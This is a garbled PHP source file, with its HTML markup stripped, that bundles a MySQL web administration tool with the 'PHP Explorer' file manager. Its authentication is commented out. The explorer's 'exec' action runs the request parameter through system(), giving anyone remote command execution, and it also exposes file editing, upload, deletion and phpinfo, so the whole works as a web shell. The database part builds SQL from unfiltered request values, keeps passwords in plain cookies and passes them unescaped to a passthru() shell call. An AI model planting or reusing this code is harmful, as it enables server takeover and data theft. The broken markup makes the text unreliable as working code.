\n"; echo "\n"; echo "MySQL Web Interface\n"; echo "\n"; echo "\n"; echo "
\n"; echo "
\n"; echo "
\n"; echo "

MySQL Web Interface

\n"; echo "
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "
Username
Password

\n"; echo "\n"; echo "
\n"; echo "

\n"; echo "
\n"; echo "
\n"; echo "


\n"; echo "\n"; echo "Copyleft © since 1999,\n"; echo "SooMin Kim
\n"; echo "Hompage is available
"; echo "
\n"; echo "
\n"; echo "\n"; echo "\n"; } function logon_submit() { global $username, $password, $PHP_SELF; setcookie( "mysql_web_admin_username", $username ); setcookie( "mysql_web_admin_password", $password ); echo ""; echo ""; echo ""; echo ""; echo ""; } function echoQueryResult() { global $queryStr, $errMsg; if( $errMsg == "" ) $errMsg = "Success"; if( $queryStr != "" ) { echo "\n"; echo "\n"; echo "\n"; echo "
Query$queryStr
Result$errMsg

\n"; } } function listDatabases() { global $mysqlHandle, $PHP_SELF; echo "

Database List

\n"; echo "
\n"; echo "\n"; echo "\n"; echo "\n"; echo "
\n"; echo "
\n"; echo "\n"; $pDB = mysql_list_dbs( $mysqlHandle ); $num = mysql_num_rows( $pDB ); for( $i = 0; $i < $num; $i++ ) { $dbname = mysql_dbname( $pDB, $i ); echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; } echo "
$dbnameTableDropDump
\n"; } function createDatabase() { global $mysqlHandle, $dbname, $PHP_SELF; mysql_create_db( $dbname, $mysqlHandle ); listDatabases(); } function dropDatabase() { global $mysqlHandle, $dbname, $PHP_SELF; mysql_drop_db( $dbname, $mysqlHandle ); listDatabases(); } function listTables() { global $mysqlHandle, $dbname, $PHP_SELF; echo "

Table List

\n"; echo "

$dbname

\n"; echoQueryResult(); echo "
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "
\n"; echo "
\n"; echo "\n"; echo "\n"; echo "\n"; //echo "
"; echo "\n"; echo "
\n"; echo "
\n"; $pTable = mysql_list_tables( $dbname ); if( $pTable == 0 ) { $msg = mysql_error(); echo "

Error : $msg

\n"; return; } $num = mysql_num_rows( $pTable ); echo "\n"; for( $i = 0; $i < $num; $i++ ) { $tablename = mysql_tablename( $pTable, $i ); echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; } echo "
\n"; echo "$tablename\n"; echo "\n"; echo "Schema\n"; echo "\n"; echo "Data\n"; echo "\n"; echo "Drop\n"; echo "\n"; echo "Dump\n"; echo "
"; } function createTable() { global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; $queryStr = "CREATE TABLE $tablename ( no INT )"; mysql_select_db( $dbname, $mysqlHandle ); mysql_query( $queryStr, $mysqlHandle ); $errMsg = mysql_error(); listTables(); } function dropTable() { global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; $queryStr = "DROP TABLE $tablename"; mysql_select_db( $dbname, $mysqlHandle ); mysql_query( $queryStr, $mysqlHandle ); $errMsg = mysql_error(); listTables(); } function viewSchema() { global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; echo "

Table Schema

\n"; echo "

$dbname > $tablename

\n"; echoQueryResult(); echo "Add Field | \n"; echo "View Data\n"; echo "
\n"; $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); $num = mysql_num_rows( $pResult ); echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; for( $i = 0; $i < $num; $i++ ) { $field = mysql_fetch_array( $pResult ); echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; $fieldname = $field["Field"]; echo "\n"; echo "\n"; echo "\n"; } echo "
FieldTypeNullKeyDefaultExtraAction
".$field["Field"]."".$field["Type"]."".$field["Null"]."".$field["Key"]."".$field["Default"]."".$field["Extra"]."EditDrop
\n"; } function manageField( $cmd ) { global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; if( $cmd == "add" ) echo "

Add Field

\n"; else if( $cmd == "edit" ) { echo "

Edit Field

\n"; $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); $num = mysql_num_rows( $pResult ); for( $i = 0; $i < $num; $i++ ) { $field = mysql_fetch_array( $pResult ); if( $field["Field"] == $fieldname ) { $fieldtype = $field["Type"]; $fieldkey = $field["Key"]; $fieldextra = $field["Extra"]; $fieldnull = $field["Null"]; $fielddefault = $field["Default"]; break; } } $type = strtok( $fieldtype, " (,)\n" ); if( strpos( $fieldtype, "(" ) ) { if( $type == "enum" | $type == "set" ) { $valuelist = strtok( " ()\n" ); } else { $M = strtok( " (,)\n" ); if( strpos( $fieldtype, "," ) ) $D = strtok( " (,)\n" ); } } } echo "

$dbname > $tablename

\n"; echo "
\n"; if( $cmd == "add" ) echo "\n"; else if( $cmd == "edit" ) { echo "\n"; echo "\n"; } echo "\n"; echo "\n"; echo "

Name

\n"; echo "

\n"; ?>

Type

* `M' indicates the maximum display size.
* `D' applies to floating-point types and indicates the number of digits following the decimal point.
Type M  D unsignedzerofillbinary
>TINYINT (-128 ~ 127) O   O O  
>SMALLINT (-32768 ~ 32767) O   O O  
>MEDIUMINT (-8388608 ~ 8388607) O   O O  
>INT (-2147483648 ~ 2147483647) O   O O  
>BIGINT (-9223372036854775808 ~ 9223372036854775807) O   O O  
>FLOAT O O   O  
>DOUBLE O O   O  
>DECIMAL(NUMERIC) O O   O  
>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)          
>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)          
>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]]) O        
>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)          
>YEAR (1901 ~ 2155, 0000, YYYY)          
>CHAR O       O
>VARCHAR O       O
>TINYTEXT (0 ~ 255)          
>TEXT (0 ~ 65535)          
>MEDIUMTEXT (0 ~ 16777215)          
>LONGTEXT (0 ~ 4294967295)          
>TINYBLOB (0 ~ 255)          
>BLOB (0 ~ 65535)          
>MEDIUMBLOB (0 ~ 16777215)          
>LONGBLOB (0 ~ 4294967295)          
>ENUM
value list
>SET
value list
MDunsignedzerofillbinaryvalue list (ex: 'apple', 'orange', 'banana')
> > > > > >

Flags

not nulldefault valueauto incrementprimary key
> > > >

\n"; else if( $cmd == "edit" ) echo "\n"; echo "\n"; echo "

\n"; } function manageField_submit( $cmd ) { global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg, $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist; if( $cmd == "add" ) $queryStr = "ALTER TABLE $tablename ADD $name "; else if( $cmd == "edit" ) $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; if( $M != "" ) if( $D != "" ) $queryStr .= "$type($M,$D) "; else $queryStr .= "$type($M) "; else if( $valuelist != "" ) { $valuelist = stripslashes( $valuelist ); $queryStr .= "$type($valuelist) "; } else $queryStr .= "$type "; $queryStr .= "$unsigned $zerofill $binary "; if( $default_value != "" ) $queryStr .= "DEFAULT '$default_value' "; $queryStr .= "$not_null $auto_increment"; mysql_select_db( $dbname, $mysqlHandle ); mysql_query( $queryStr, $mysqlHandle ); $errMsg = mysql_error(); // key change $keyChange = false; $result = mysql_query( "SHOW KEYS FROM $tablename" ); $primary = ""; while( $row = mysql_fetch_array($result) ) if( $row["Key_name"] == "PRIMARY" ) { if( $row[Column_name] == $name ) $keyChange = true; else $primary .= ", $row[Column_name]"; } if( $primary_key == "PRIMARY KEY" ) { $primary .= ", $name"; $keyChange = !$keyChange; } $primary = substr( $primary, 2 ); if( $keyChange == true ) { $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; mysql_query( $q ); $queryStr .= "
\n" . $q; $errMsg .= "
\n" . mysql_error(); $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; mysql_query( $q ); $queryStr .= "
\n" . $q; $errMsg .= "
\n" . mysql_error(); } viewSchema(); } function dropField() { global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; mysql_select_db( $dbname, $mysqlHandle ); mysql_query( $queryStr , $mysqlHandle ); $errMsg = mysql_error(); viewSchema(); } function viewData( $queryStr ) { global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby; echo "

Data in Table

\n"; if( $tablename != "" ) echo "

$dbname > $tablename

\n"; else echo "

$dbname

\n"; $queryStr = stripslashes( $queryStr ); if( $queryStr == "" ) { $queryStr = "SELECT * FROM $tablename"; if( $orderby != "" ) $queryStr .= " ORDER BY $orderby"; echo "Add Data | \n"; echo "Schema\n"; } $pResult = mysql_db_query( $dbname, $queryStr ); $errMsg = mysql_error(); $GLOBALS[queryStr] = $queryStr; if( $pResult == false ) { echoQueryResult(); return; } if( $pResult == 1 ) { $errMsg = "Success"; echoQueryResult(); return; } echo "
\n"; $row = mysql_num_rows( $pResult ); $col = mysql_num_fields( $pResult ); if( $row == 0 ) { echo "No Data Exist!"; return; } if( $rowperpage == "" ) $rowperpage = 20; if( $page == "" ) $page = 0; else $page--; mysql_data_seek( $pResult, $page * $rowperpage ); echo "\n"; echo "\n"; for( $i = 0; $i < $col; $i++ ) { $field = mysql_fetch_field( $pResult, $i ); echo "\n"; } echo "\n"; echo "\n"; for( $i = 0; $i < $rowperpage; $i++ ) { $rowArray = mysql_fetch_row( $pResult ); if( $rowArray == false ) break; echo "\n"; $key = ""; for( $j = 0; $j < $col; $j++ ) { $data = $rowArray[$j]; $field = mysql_fetch_field( $pResult, $j ); if( $field->primary_key == 1 ) $key .= "&" . $field->name . "=" . $data; if( strlen( $data ) > 20 ) $data = substr( $data, 0, 20 ) . "..."; $data = htmlspecialchars( $data ); echo "\n"; } if( $key == "" ) echo "\n"; else { echo "\n"; echo "\n"; } echo "\n"; } echo "
"; echo "".$field->name."\n"; echo "Action
\n"; echo "$data\n"; echo "no KeyEditDelete
\n"; echo "\n"; echo "
\n"; echo "\n"; echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; echo "\n"; echo " | "; if( $page > 0 ) { echo "Prev\n"; } else echo "Prev"; echo " | "; if( $page < ($row/$rowperpage)-1 ) { echo "Next\n"; } else echo "Next"; echo " | "; if( $row > $rowperpage ) { echo "\n"; echo "\n"; } echo "
\n"; echo "
\n"; } function manageData( $cmd ) { global $mysqlHandle, $dbname, $tablename, $PHP_SELF; if( $cmd == "add" ) echo "

Add Data

\n"; else if( $cmd == "edit" ) { echo "

Edit Data

\n"; $pResult = mysql_list_fields( $dbname, $tablename ); $num = mysql_num_fields( $pResult ); $key = ""; for( $i = 0; $i < $num; $i++ ) { $field = mysql_fetch_field( $pResult, $i ); if( $field->primary_key == 1 ) if( $field->numeric == 1 ) $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; else $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; } $key = substr( $key, 0, strlen($key)-4 ); mysql_select_db( $dbname, $mysqlHandle ); $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle ); $data = mysql_fetch_array( $pResult ); } echo "

$dbname > $tablename

\n"; echo "
\n"; if( $cmd == "add" ) echo "\n"; else if( $cmd == "edit" ) echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); $num = mysql_num_rows( $pResult ); $pResultLen = mysql_list_fields( $dbname, $tablename ); for( $i = 0; $i < $num; $i++ ) { $field = mysql_fetch_array( $pResult ); $fieldname = $field["Field"]; $fieldtype = $field["Type"]; $len = mysql_field_len( $pResultLen, $i ); echo ""; echo ""; echo ""; echo "\n"; $value = htmlspecialchars($data[$i]); if( $cmd == "add" ) { $type = strtok( $fieldtype, " (,)\n" ); if( $type == "enum" || $type == "set" ) { echo "\n"; } else { if( $len < 40 ) echo "\n"; else echo "\n"; } else { if( $len < 40 ) echo "\n"; else echo ""; } echo "
NameTypeFunctionData
$fieldname".$field["Type"]."\n"; echo "\n"; echo "\n"; if( $type == "enum" ) echo "\n"; echo strtok( "'" ); while( $str = strtok( "'" ) ) { echo "\n"; } } else if( $cmd == "edit" ) { $type = strtok( $fieldtype, " (,)\n" ); if( $type == "enum" || $type == "set" ) { echo "\n"; if( $type == "enum" ) echo "\n"; echo strtok( "'" ); while( $str = strtok( "'" ) ) { if( $value == $str ) echo "\n"; } } echo "

\n"; if( $cmd == "add" ) echo "\n"; else if( $cmd == "edit" ) echo "\n"; echo "\n"; echo "

\n"; } function manageData_submit( $cmd ) { global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; $pResult = mysql_list_fields( $dbname, $tablename ); $num = mysql_num_fields( $pResult ); mysql_select_db( $dbname, $mysqlHandle ); if( $cmd == "add" ) $queryStr = "INSERT INTO $tablename VALUES ("; else if( $cmd == "edit" ) $queryStr = "REPLACE INTO $tablename VALUES ("; for( $i = 0; $i < $num-1; $i++ ) { $field = mysql_fetch_field( $pResult ); $func = $GLOBALS[$field->name."_function"]; if( $func != "" ) $queryStr .= " $func("; if( $field->numeric == 1 ) { $queryStr .= $GLOBALS[$field->name]; if( $func != "" ) $queryStr .= "),"; else $queryStr .= ","; } else { $queryStr .= "'" . $GLOBALS[$field->name]; if( $func != "" ) $queryStr .= "'),"; else $queryStr .= "',"; } } $field = mysql_fetch_field( $pResult ); if( $field->numeric == 1 ) $queryStr .= $GLOBALS[$field->name] . ")"; else $queryStr .= "'" . $GLOBALS[$field->name] . "')"; mysql_query( $queryStr , $mysqlHandle ); $errMsg = mysql_error(); viewData( "" ); } function deleteData() { global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; $pResult = mysql_list_fields( $dbname, $tablename ); $num = mysql_num_fields( $pResult ); $key = ""; for( $i = 0; $i < $num; $i++ ) { $field = mysql_fetch_field( $pResult, $i ); if( $field->primary_key == 1 ) if( $field->numeric == 1 ) $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; else $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; } $key = substr( $key, 0, strlen($key)-4 ); mysql_select_db( $dbname, $mysqlHandle ); $queryStr = "DELETE FROM $tablename WHERE $key"; mysql_query( $queryStr, $mysqlHandle ); $errMsg = mysql_error(); viewData( "" ); } function dump() { global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename; if( $action == "dumpTable" ) $filename = $tablename; else $filename = $dbname; header("Content-disposition: filename=$filename.sql"); header("Content-type: application/octetstream"); header("Pragma: no-cache"); header("Expires: 0"); $pResult = mysql_query( "show variables" ); while( 1 ) { $rowArray = mysql_fetch_row( $pResult ); if( $rowArray == false ) break; if( $rowArray[0] == "basedir" ) $bindir = $rowArray[1]."bin/"; } passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" ); } function utils() { global $PHP_SELF, $command; echo "

Utilities

\n"; if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { echo "
\n"; echo "Show\n"; echo "\n"; echo "Flush\n"; echo "\n"; } else { $queryStr = ereg_replace( "_", " ", $command ); $pResult = mysql_query( $queryStr ); if( $pResult == false ) { echo "Fail"; return; } $col = mysql_num_fields( $pResult ); echo "

$queryStr

\n"; echo "
\n"; echo "\n"; echo "\n"; for( $i = 0; $i < $col; $i++ ) { $field = mysql_fetch_field( $pResult, $i ); echo "\n"; } echo "\n"; while( 1 ) { $rowArray = mysql_fetch_row( $pResult ); if( $rowArray == false ) break; echo "\n"; for( $j = 0; $j < $col; $j++ ) echo "\n"; echo "\n"; } echo "
".$field->name."
".htmlspecialchars( $rowArray[$j] )."
\n"; } } function header_html() { global $PHP_SELF; ?> MySQL Web Interface \n"; echo "\n"; echo "[$USERNAME] - \n"; echo "Database List | \n"; if( $tablename != "" ) echo "Table List | "; echo "Utils |\n"; echo "Logout\n"; echo "\n"; echo "\n"; echo "\n"; } //------------------------------------------------------ MAIN if( $action == "logon" || $action == "" || $action == "logout" ) logon(); else if( $action == "logon_submit" ) logon_submit(); else if( $action == "dumpTable" || $action == "dumpDB" ) { while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { if( $var == "mysql_web_admin_username" ) $USERNAME = $value; if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; } $mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); dump(); } else { while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { if( $var == "mysql_web_admin_username" ) $USERNAME = $value; if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; } echo ""; if( $mysqlHandle == false ) { echo "\n"; echo "\n"; echo "MySQL Web Interface\n"; echo "\n"; echo "\n"; echo "
\n"; echo "

Wrong Password!

\n"; echo "Logon\n"; echo "
\n"; echo "\n"; echo "\n"; } else { header_html(); if( $action == "listDBs" ) listDatabases(); else if( $action == "createDB" ) createDatabase(); else if( $action == "dropDB" ) dropDatabase(); else if( $action == "listTables" ) listTables(); else if( $action == "createTable" ) createTable(); else if( $action == "dropTable" ) dropTable(); else if( $action == "viewSchema" ) viewSchema(); else if( $action == "query" ) viewData( $queryStr ); else if( $action == "addField" ) manageField( "add" ); else if( $action == "addField_submit" ) manageField_submit( "add" ); else if( $action == "editField" ) manageField( "edit" ); else if( $action == "editField_submit" ) manageField_submit( "edit" ); else if( $action == "dropField" ) dropField(); else if( $action == "viewData" ) viewData( "" ); else if( $action == "addData" ) manageData( "add" ); else if( $action == "addData_submit" ) manageData_submit( "add" ); else if( $action == "editData" ) manageData( "edit" ); else if( $action == "editData_submit" ) manageData_submit( "edit" ); else if( $action == "deleteData" ) deleteData(); else if( $action == "utils" ) utils(); mysql_close( $mysqlHandle); footer_html(); } } exit; } //************************************************************************// //* PHP Explorer 0.5 Alpha version *// //* Author: Marcelo L. Mottalli *// //* Homepage: http://phpexplorer.sourceforge.net/ *// //************************************************************************// /////////////////////////////// BEHAVIOR VARIABLES //////////////////////////// $default_directory = dirname($PATH_TRANSLATED); // You can change this if you want $show_icons = 0; // Set this to 0 if you don't want to // display icons (needs PHP Explorer Extra // package) //////////////////////////////// CONSTANTS //////////////////////////////// define("PHP_EXPLORER_VERSION", "v0.5 alpha"); define("BACKGROUND_COLOR", "\"#ffffff\""); define("FONT_COLOR", "\"#000000\""); define("TABLE_BORDER_COLOR", "\"#000000\""); define("TABLE_BACKGROUND_COLOR", "\"#ffffff\""); define("TABLE_FONT_COLOR", "\"#000000\""); define("COLOR_PRIVATE", "\"#ffbb99\""); define("COLOR_PUBLIC", "\"#cceeff\""); define("TRUE", 1); define("FALSE", 0); // $PHP_SELF = "phpexplorer.php"; // In some servers $PHP_SELF has the full path. // In that case, you have to uncomment this line // and set it to PHP Explorer's file name. if (!isset($dir)) $dir = $default_directory; // Webroot dir as default $dir = stripslashes($dir); $dir = str_replace("\\", "/", $dir); // Windoze compatibility $associations = array( "gif" => array( "function" => "viewGIF", "icon" => "icons/image2.gif" ), "jpg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), "jpeg" => array( "function" => "viewJPEG", "icon" => "icons/image2.gif" ), "wav" => array( "function" => "", "icon" => "icons/sound.gif" ), "mp3" => array( "function" => "", "icon" => "icons/sound.gif" ) ); /* ///////////////////////////// AUTHENTICATION ////////////////////////////// //////////////////////////// (needs testing!) ///////////////////////////// $password = "test"; // Set this to whatever you want your password to be session_start(); phpinfo(); if (!session_is_registered("registered")) { if (!$submit) { echo "
"; echo "Please enter password:
"; echo ""; echo "
"; } else { if ($passwd_input != $password) die("Wrong password!"); session_register("registered"); header("Location: $PHP_SELF"); } } if (!session_is_registered("registered")) exit(); */ // Above code apparently works. It is commented because it still needs testing. /////////////////////////////// HTML STYLE /////////////////////////////// if ($action != "view" && $action != "download"): // This is here so we can send // HTTP headers later. ?> PHP Explorer > Directory /"; for ($i = 1; $i < (sizeof($dirs)); $i++) { print "$dirs[$i]"; if ($directory != "/") echo "/"; } print "
\n"; print "Free space on disk: "; $freeSpace = diskfreespace($directory); if ($freeSpace/(1024*1024) > 1024) printf("%.2f GBytes", $freeSpace/(1024*1024*1024)); else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; }; //************************************************************************ //* Shows directory's content //************************************************************************ function showDirectory($directory) { global $files, $directories, $fileInfo, $PHP_SELF; readDirectory($directory); showInfoDirectory($directory); ?>

> getInfo($directories[$i]); showFileInfo($fileInfo); } for ($i = 0; $i < sizeof($files); $i++) { $fileInfo->getInfo($files[$i]); showFileInfo($fileInfo); } ?>
NAME SIZE LAST MODIF. PERMISSIONS ACTIONS
name = basename($file); $this->path = dirname($file); $this->fullname = $file; $this->isDir = is_dir($file); $this->lastmod = date("m/d/y, H:i", filemtime($file)); $this->owner = fileowner($file); $this->perms = $this->permissions(fileperms($file)); $this->size = filesize($file); $this->isLink = is_link($file); if ($this->isLink) $this->linkTo = readlink($file); $buffer = explode(".", $this->fullname); $this->extension = $buffer[sizeof($buffer)-1]; } }; $fileInfo = new fileInfo; // This will hold a file's information all over the script //************************************************************************ //* Shows a file and/or directory info and makes the corresponding links //************************************************************************ function showFileInfo($fileInfo) { global $PHP_SELF, $associations; echo "\n"; if ($show_icons) { echo ""; if ($fileInfo->isDir) echo ""; elseif ($associations[$fileInfo->extension]["icon"] != "") echo "extension]["icon"]."\">"; else echo ""; echo ""; } echo "perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC; if ($fileInfo->perms[6] == "-") echo " bgcolor=".COLOR_PRIVATE; echo ">"; if ($fileInfo->isLink) { echo $fileInfo->name." -> "; $fileInfo->fullname = $fileInfo->linkTo; $fileInfo->name = $fileInfo->linkTo; } if ($fileInfo->isDir) { echo "fullname\" "; echo ">$fileInfo->name"; } else echo $fileInfo->name; echo ""; echo "$fileInfo->size"; echo "$fileInfo->lastmod"; echo "$fileInfo->perms"; echo ""; if (!$fileInfo->isDir) { if ($fileInfo->perms[6] == 'r') { echo "fullname&action=view\"> V"; echo "fullname&action=download\"> D"; } if ($fileInfo->perms[7] == 'w') { echo "fullname&action=edit\"> E"; echo "fullname&action=delete\"> X"; } } echo ""; }; //************************************************************************ //* Decides which function use to show a file //************************************************************************ function viewFile($file) { global $associations, $fileInfo; $fileInfo->getInfo($file); if (!$associations[$fileInfo->extension] || $associations[$fileInfo->extension]["function"] == "") showFile($file); else $associations[$fileInfo->extension]["function"]($file); }; //************************************************************************ //* Shows a file in the default form. If the variable $editing is different //* to 0, it edits the file //************************************************************************ function showFile($file, $editing = 0) { global $PHP_SELF, $dir; $handlerFile = fopen($file, "r") or die("ERROR opening file $file"); if ($editing) echo "

Edit file $file


"; else echo "

File $file


"; echo ""; $buffer = fread($handlerFile, filesize($file)); $buffer = str_replace("&", "&", $buffer); $buffer = str_replace("<", "<", $buffer); $buffer = str_replace(">", ">", $buffer); echo ""; if ($editing) echo "

\n"; echo ""; fclose($handlerFile); }; //************************************************************************ //* Saves a changed file //************************************************************************ function saveFile($file) { global $dir, $text; $handlerFile = fopen($file, "w") or die("ERROR: Could not open file ".basename($file)." for writing"); $text = stripslashes($text); fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file."); fclose($handlerFile); echo "Changes has been saved in ".basename($file)."
"; $dir = dirname($file); }; //************************************************************************ //* Uploads a file to the server (PHP 4 only, can be modified to work under //* PHP 3) //************************************************************************ function uploadFile() { global $HTTP_POST_FILES, $dir; copy($HTTP_POST_FILES["userfile"][tmp_name], $dir."/".$HTTP_POST_FILES["userfile"][name]) or die("Error uploading file".$HTTP_POST_FILES["userfile"][name]); echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded."; unlink($userfile); }; //************************************************************************ //* Deletes a file, asking for confirmation first //* (This function hasn't been fully tested) //************************************************************************ function deleteFile($file) { global $confirm; if ($confirm != TRUE) die("Confirm deletion of $file"); else { if (!unlink($file)) return FALSE; return TRUE; } }; //************************************************************************ //* Echoes a file to the output sending previously an HTML header. //* Used to download files of certain MIME type and to display images. //* Can also be used for plugins. //************************************************************************ function viewFileHeader($file, $header) { header($header); readfile($file); }; //************************************************************************ //* Functions for viewing associated files (AKA "plugins") //************************************************************************ function viewGIF($file) { viewFileHeader($file, "Content-type: image/gif"); }; function viewJPEG($file) { viewFileHeader($file, "Content-type: image/jpeg"); }; // Include any additional plugin file in here using the function // require("plugin_file") /////////////////////////// BEGIN OF THE SCRIPT /////////////////////////// switch ($action) { case "phpinfo": phpinfo(); die(); case "view": viewFile($dir); break; case "edit": showFile($dir, 1); break; case "download": viewFileHeader($dir, "Content-type: unknown"); break; case "delete": if (!deleteFile($dir)) echo "Could not delete file $dir
"; else echo "File $dir deleted succesfully
"; $dir = dirname($dir); showDirectory($dir); break; case "exec": echo "
\n";
         echo system($dir);
         echo "\n
"; exit(); case "upload": uploadFile(); showDirectory($dir); break; case "save": saveFile($dir); default: showDirectory($dir); break; }; if ($action != "view" && $action != "download"): ?>

> >
" method=post>


PHP Explorer